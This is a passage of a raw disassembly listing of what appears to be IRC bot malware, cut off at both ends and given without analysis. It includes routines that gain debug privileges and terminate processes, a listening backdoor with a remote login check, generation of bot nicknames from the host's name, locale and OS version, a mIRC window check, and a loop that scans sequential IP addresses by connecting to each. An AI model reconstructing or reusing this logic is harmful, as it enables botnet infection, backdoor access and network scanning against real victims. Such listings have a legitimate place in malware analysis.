; GetCurrentProcess push eax call dword_43EB08 ; OpenProcessToken test eax, eax jnz short loc_414ECA leave retn ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EAB+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43EAE0 ; LookupPrivilegeValueA test eax, eax jz short loc_414F08 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_414EF1 or [ebp+var_8], 2 jmp short loc_414EF5 ; --------------------------------------------------------------------------- loc_414EF1: ; CODE XREF: sub_414EAB+3Ej and [ebp+var_8], 0FFFFFFFDh loc_414EF5: ; CODE XREF: sub_414EAB+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43EB90 ; AdjustTokenPrivileges mov esi, eax loc_414F08: ; CODE XREF: sub_414EAB+32j push [ebp+var_4] call dword_423078 ; CloseHandle mov eax, esi pop esi leave retn sub_414EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F16 proc near ; CODE XREF: sub_40EC43+4B70p ; sub_4150C3+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43EB44, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz short loc_414FBB cmp dword_43EB28, ebx jz short loc_414FBB cmp dword_43EA44, ebx jz short loc_414FBB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_414EAB pop ecx pop ecx push ebx push 0Fh call dword_43EB44 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_414FAE lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43EB28 ; Process32First mov esi, dword_423078 test eax, eax jnz loc_415071 loc_414FA9: ; CODE XREF: sub_414F16+173j push [ebp+var_4] call esi ; CloseHandle loc_414FAE: ; CODE XREF: sub_414F16+69j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_414EAB pop ecx pop ecx loc_414FBB: ; CODE XREF: sub_414F16+3Aj ; sub_414F16+42j ... xor eax, eax loc_414FBD: ; CODE XREF: sub_414F16+1A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414FC2: ; CODE XREF: sub_414F16+16Dj cmp [ebp+arg_10], ebx jnz loc_415071 cmp [ebp+arg_C], ebx jnz loc_41505C cmp [ebp+arg_4], ebx jz loc_415071 push [ebp+var_124] push 8 call dword_43EB44 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_41501C lea eax, [ebp+var_350] push eax push edi call dword_43E9F0 ; Module32First push [ebp+var_124] test eax, eax jz short loc_415022 lea eax, [ebp+var_230] jmp short loc_415028 ; --------------------------------------------------------------------------- loc_41501C: ; CODE XREF: sub_414F16+E4j push [ebp+var_124] loc_415022: ; CODE XREF: sub_414F16+FCj lea eax, [ebp+var_108] loc_415028: ; CODE XREF: sub_414F16+104j push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_416FB6 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h push edi call esi ; CloseHandle jmp short loc_415071 ; --------------------------------------------------------------------------- loc_41505C: ; CODE XREF: sub_414F16+B8j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_41508E loc_415071: ; CODE XREF: sub_414F16+8Dj ; sub_414F16+AFj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43EA44 ; Process32Next test eax, eax jnz loc_414FC2 jmp loc_414FA9 ; --------------------------------------------------------------------------- loc_41508E: ; CODE XREF: sub_414F16+159j push [ebp+var_124] push ebx push 1F0FFFh call dword_4230FC ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push ebx push edi call dword_423170 ; TerminateProcess test eax, eax jnz short loc_4150BB push edi call esi ; CloseHandle jmp loc_414FBB ; --------------------------------------------------------------------------- loc_4150BB: ; CODE XREF: sub_414F16+19Bj xor eax, eax inc eax jmp loc_414FBD sub_414F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150C3 proc near ; DATA XREF: sub_40EC43+5900o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_437CD0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_416FB6 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_415122 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D476 add esp, 14h loc_415122: ; CODE XREF: sub_4150C3+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_414F16 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_415150 push offset unk_437C98 jmp short loc_415155 ; --------------------------------------------------------------------------- loc_415150: ; CODE XREF: sub_4150C3+84j push offset unk_437C60 loc_415155: ; CODE XREF: sub_4150C3+8Bj push eax call sub_416FB6 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_415182 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D476 add esp, 14h loc_415182: ; CODE XREF: sub_4150C3+9Dj lea eax, [ebp+var_298] push eax call sub_40BD8D push [ebp+var_14] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi sub_4150C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4151A1 proc near ; CODE XREF: sub_40EC43+4B12p ; sub_416BB5+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_4230FC ; OpenProcess mov esi, eax test esi, esi jz short loc_4151D3 push 0 push esi call dword_423170 ; TerminateProcess test eax, eax jnz short loc_4151D3 push esi xor edi, edi call dword_423078 ; CloseHandle loc_4151D3: ; CODE XREF: sub_4151A1+1Aj ; sub_4151A1+27j mov eax, edi pop edi pop esi retn sub_4151A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151D8 proc near ; CODE XREF: sub_4030A7+Ap ; .data:00403676p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_417012 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_423698 call sub_417AC4 sub esi, eax mov eax, esi pop esi leave retn sub_4151D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415208 proc near ; DATA XREF: sub_41547D+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_3D4] inc ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_444574[eax] xor edi, edi mov [ebp+var_C], 1Eh mov [ebp+var_8], edi mov eax, [esi] mov [ebp+var_1F4], ebx mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_43EB0C ; select test eax, eax jnz short loc_41528C push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push edi call dword_423054 ; ExitThread loc_41528C: ; CODE XREF: sub_415208+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_43EB3C ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_41540D lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_41540D lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_41540D add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_43EA80 ; getpeername test eax, eax jz short loc_415305 call dword_43EAB8 ; WSAGetLastError push eax push offset dword_437DC4 call sub_40BE01 push [ebp+arg_0] call sub_416D90 add esp, 0Ch push edi call dword_423054 ; ExitThread loc_415305: ; CODE XREF: sub_415208+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_43EADC ; gethostbyaddr cmp eax, edi jnz short loc_41532F push [ebp+var_18] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_416FB6 jmp short loc_41533D ; --------------------------------------------------------------------------- loc_41532F: ; CODE XREF: sub_415208+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_4176C0 loc_41533D: ; CODE XREF: sub_415208+125j pop ecx pop ecx push edi push ebx push offset byte_43BCE8 push dword ptr [esi] call dword_43EB74 ; send cmp dword_489278, edi jnz short loc_41539F push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_41544E add esp, 10h test eax, eax jnz short loc_41539F push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43EB74 ; send push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push edi call dword_423054 ; ExitThread loc_41539F: ; CODE XREF: sub_415208+14Cj ; sub_415208+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset dword_437D78 call sub_40BE01 push [ebp+arg_0] call sub_416304 add esp, 10h test eax, eax jnz short loc_4153E6 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_437D3C call sub_40BE01 push [ebp+arg_0] call sub_416D90 add esp, 0Ch push ebx call dword_423054 ; ExitThread loc_4153E6: ; CODE XREF: sub_415208+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset dword_437D04 call sub_40BE01 push [ebp+arg_0] call sub_416D90 add esp, 10h push edi call dword_423054 ; ExitThread sub_415208 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41540D proc near ; CODE XREF: sub_415208+9Ap ; sub_415208+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] loc_415414: ; CODE XREF: sub_41540D+2Aj push 0 lea eax, [ebp+arg_4+3] push 1 push eax push [ebp+arg_0] call dword_43EB3C ; recv cmp eax, 1 jnz short loc_41544A mov al, byte ptr [ebp+arg_4+3] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41543F test al, al jnz short loc_415414 xor eax, eax inc eax loc_41543C: ; CODE XREF: sub_41540D+3Fj pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41543F: ; CODE XREF: sub_41540D+26j push offset dword_437E00 call sub_40BE01 pop ecx loc_41544A: ; CODE XREF: sub_41540D+1Bj xor eax, eax jmp short loc_41543C sub_41540D endp ; =============== S U B R O U T I N E ======================================= sub_41544E proc near ; CODE XREF: sub_415208+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_415479 push [esp+arg_4] push [esp+4+arg_0] push offset dword_437E38 call sub_40BE01 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_415479: ; CODE XREF: sub_41544E+11j xor eax, eax inc eax retn sub_41544E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41547D proc near ; DATA XREF: sub_40EC43+55C4o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] rep movsd xor edi, edi inc edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_43EA9C ; WSAStartup xor esi, esi cmp eax, esi jz short loc_4154D6 push eax push offset dword_438010 call sub_40BE01 push [ebp+var_4C] call sub_416D90 add esp, 0Ch push edi call dword_423054 ; ExitThread loc_4154D6: ; CODE XREF: sub_41547D+3Aj push edi push offset loc_4156FA call dword_423174 ; SetConsoleCtrlHandler test eax, eax jnz short loc_41550F call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_437FC0 call sub_40BE01 pop ecx pop ecx call dword_43EA84 ; WSACleanup push [ebp+var_4C] call sub_416D90 pop ecx push edi call dword_423054 ; ExitThread loc_41550F: ; CODE XREF: sub_41547D+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_417030 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_43EB24 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_43EBA4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_415685 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_444574[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_43EB50 ; bind test eax, eax jnz loc_415685 push 7FFFFFFFh push ebx call dword_43EB4C ; listen test eax, eax jnz loc_415685 push offset dword_437F70 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_40BD8D pop ecx mov [ebp+arg_0], edi loc_41559E: ; CODE XREF: sub_41547D+15Aj ; sub_41547D+203j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_43EBB8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_415688 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_43EB04 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_41559E movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset dword_437F18 push eax call sub_416FB6 lea eax, [ebp+var_414] push eax call sub_40BD8D push edi lea eax, [ebp+var_414] push 6 push eax call sub_416A7A mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_44456C[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_415208 lea eax, [ebp+var_10] push esi push eax call dword_4230A0 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_44457C[ecx], eax jnz short loc_41567B call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_437EC8 call sub_40BE01 pop ecx pop ecx jmp short loc_415688 ; --------------------------------------------------------------------------- loc_415673: ; CODE XREF: sub_41547D+201j push 32h call dword_423064 ; Sleep loc_41567B: ; CODE XREF: sub_41547D+1DFj cmp [ebp+var_38], esi jz short loc_415673 jmp loc_41559E ; --------------------------------------------------------------------------- loc_415685: ; CODE XREF: sub_41547D+C8j ; sub_41547D+ECj ... mov edi, [ebp+arg_0] loc_415688: ; CODE XREF: sub_41547D+13Cj ; sub_41547D+1F4j call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset dword_437E80 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_4156C8 push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_40D476 add esp, 14h loc_4156C8: ; CODE XREF: sub_41547D+229j lea eax, [ebp+var_414] push eax call sub_40BD8D pop ecx push edi call dword_43EBBC ; closesocket push ebx call dword_43EBBC ; closesocket call dword_43EA84 ; WSACleanup push [ebp+var_4C] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread pop ebx loc_4156FA: ; DATA XREF: sub_41547D+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_41547D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415704 proc near ; CODE XREF: sub_415A3A+4Ap ; DATA XREF: .data:off_438060o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_423058 ; GetTickCount push eax call sub_417008 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_3 ; "%s" push 1Ch push edi call sub_41752A xor esi, esi add esp, 10h cmp dword_42E920, esi jle short loc_41575D loc_415737: ; CODE XREF: sub_415704+57j call sub_417012 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4380B4 push 1Ch push edi call sub_41752A add esp, 14h inc esi cmp esi, dword_42E920 jl short loc_415737 loc_41575D: ; CODE XREF: sub_415704+31j mov eax, edi pop edi pop esi retn sub_415704 endp ; =============== S U B R O U T I N E ======================================= sub_415762 proc near ; CODE XREF: sub_40EC43+3E49p arg_0 = dword ptr 4 push ebx push esi push edi call dword_423058 ; GetTickCount push eax call sub_417008 pop ecx call sub_417012 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42E920 test esi, esi jle short loc_4157A5 loc_41578F: ; CODE XREF: sub_415762+41j call sub_417012 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_41578F loc_4157A5: ; CODE XREF: sub_415762+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_415762 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_423058 ; GetTickCount push eax call sub_417008 pop ecx lea eax, [ebp-4] mov esi, offset dword_4380BC push eax push esi call dword_423154 ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_41752A xor esi, esi add esp, 0Ch cmp dword_42E920, esi jle short loc_415818 loc_4157F2: ; CODE XREF: .data:00415816j call sub_417012 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4380B4 push 1Ch push edi call sub_41752A add esp, 14h inc esi cmp esi, dword_42E920 jl short loc_4157F2 loc_415818: ; CODE XREF: .data:004157F0j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_423058 ; GetTickCount push eax call sub_417008 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_423178 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4380C0 push 1Ch push edi call sub_41752A xor esi, esi add esp, 10h cmp dword_42E920, esi jle short loc_41588D loc_415867: ; CODE XREF: .data:0041588Bj call sub_417012 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4380B4 push 1Ch push edi call sub_41752A add esp, 14h inc esi cmp esi, dword_42E920 jl short loc_415867 loc_41588D: ; CODE XREF: .data:00415865j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43BCE8 mov dword ptr [ebp-94h], 94h call dword_423144 ; GetVersionExA call dword_423058 ; GetTickCount push eax call sub_417008 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415917 cmp dword ptr [ebp-8Ch], 0 jnz short loc_4158F7 cmp dword ptr [ebp-84h], 1 jnz short loc_4158E7 mov esi, offset a95 ; "95" loc_4158E7: ; CODE XREF: .data:004158E0j cmp dword ptr [ebp-84h], 2 jnz short loc_415953 mov esi, offset aNt ; "NT" jmp short loc_415953 ; --------------------------------------------------------------------------- loc_4158F7: ; CODE XREF: .data:004158D7j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415907 mov esi, offset a98 ; "98" jmp short loc_415953 ; --------------------------------------------------------------------------- loc_415907: ; CODE XREF: .data:004158FEj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_41594E mov esi, offset aMe ; "ME" jmp short loc_415953 ; --------------------------------------------------------------------------- loc_415917: ; CODE XREF: .data:004158CEj cmp dword ptr [ebp-90h], 5 jnz short loc_41594E cmp dword ptr [ebp-8Ch], 0 jnz short loc_415930 mov esi, offset a2k ; "2K" jmp short loc_415953 ; --------------------------------------------------------------------------- loc_415930: ; CODE XREF: .data:00415927j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415940 mov esi, offset aXp ; "XP" jmp short loc_415953 ; --------------------------------------------------------------------------- loc_415940: ; CODE XREF: .data:00415937j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_4380CC jz short loc_415953 loc_41594E: ; CODE XREF: .data:0041590Ej ; .data:0041591Ej mov esi, offset dword_42CFD8 loc_415953: ; CODE XREF: .data:004158EEj ; .data:004158F5j ... mov edi, [ebp+8] push esi push offset dword_4380C4 push 1Ch push edi call sub_41752A xor esi, esi add esp, 10h cmp dword_42E920, esi jle short loc_415997 loc_415971: ; CODE XREF: .data:00415995j call sub_417012 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4380B4 push 1Ch push edi call sub_41752A add esp, 14h inc esi cmp esi, dword_42E920 jl short loc_415971 loc_415997: ; CODE XREF: .data:0041596Fj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41599D proc near ; CODE XREF: sub_415A3A+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_423058 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax call dword_43EB30 ; FindWindowA cmp esi, 64h jbe short loc_4159EC test eax, eax mov eax, offset dword_4380D8 jnz short loc_4159D5 mov eax, offset byte_43BCE8 loc_4159D5: ; CODE XREF: sub_41599D+31j push eax push esi push offset dword_4380D0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41752A add esp, 14h jmp short loc_415A06 ; --------------------------------------------------------------------------- loc_4159EC: ; CODE XREF: sub_41599D+28j test eax, eax mov eax, offset dword_4380D8 jnz short loc_4159FA mov eax, offset byte_43BCE8 loc_4159FA: ; CODE XREF: sub_41599D+56j push eax lea eax, [ebp+var_1C] push eax call sub_416FB6 pop ecx pop ecx loc_415A06: ; CODE XREF: sub_41599D+4Dj lea eax, [ebp+var_1C] push eax call sub_4177B0 pop ecx cmp eax, 2 pop esi jbe short loc_415A35 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418AE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418910 add esp, 18h loc_415A35: ; CODE XREF: sub_41599D+77j mov eax, [ebp+arg_0] leave retn sub_41599D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A3A proc near ; CODE XREF: sub_40E961+7Fp ; sub_40EAC7+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_415A43: ; CODE XREF: sub_415A3A+40j cmp [ebp+arg_C], 0 jz short loc_415A61 lea eax, dword_438050[esi] push eax push [ebp+arg_C] call sub_4173D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415A6F ; --------------------------------------------------------------------------- loc_415A61: ; CODE XREF: sub_415A3A+Dj mov ecx, dword_43805C[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415A6F: ; CODE XREF: sub_415A3A+25j test eax, eax jnz short loc_415A7E add esi, 14h inc edi cmp esi, 64h jb short loc_415A43 jmp short loc_415A8C ; --------------------------------------------------------------------------- loc_415A7E: ; CODE XREF: sub_415A3A+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_438060[eax*4] pop ecx loc_415A8C: ; CODE XREF: sub_415A3A+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415A9F push [ebp+arg_0] call sub_41599D pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415A9F: ; CODE XREF: sub_415A3A+58j mov eax, [ebp+arg_0] pop ebp retn sub_415A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AA4 proc near ; DATA XREF: sub_415B71+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A4h], esi lea eax, [ebp+var_10] push eax call sub_417030 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43EB24 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43EBA4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415B62 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43EACC ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_444574[ecx], esi jz short loc_415B62 push [ebp+var_34] push [ebp+var_28] call dword_43EBB0 ; inet_ntoa push eax mov edi, offset dword_489280 push offset dword_4380E0 push edi call sub_416FB6 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D476 push edi call sub_40BD8D add esp, 28h loc_415B62: ; CODE XREF: sub_415AA4+5Dj ; sub_415AA4+7Ej push esi call dword_43EBBC ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_415AA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_415B71 proc near ; DATA XREF: sub_40EC43+359Fo var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_423064 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_415B9F: ; CODE XREF: sub_415B71+ECj push [ebp+var_2C] push [ebp+var_20] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset dword_438128 push eax call sub_416FB6 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_444368 push eax call sub_418910 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_415AA4 push edi push edi call dword_4230A0 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_415C0B jmp short loc_415C06 ; --------------------------------------------------------------------------- loc_415C02: ; CODE XREF: sub_415B71+98j push 32h call esi ; Sleep loc_415C06: ; CODE XREF: sub_415B71+8Fj cmp [ebp+var_C], edi jz short loc_415C02 loc_415C0B: ; CODE XREF: sub_415B71+8Dj push [ebp+var_4] call dword_423078 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_417090 add esp, 0Ch push [ebp+arg_0] call dword_43EA58 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_43EB20 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_417090 add esp, 0Ch jmp loc_415B9F sub_415B71 endp ; =============== S U B R O U T I N 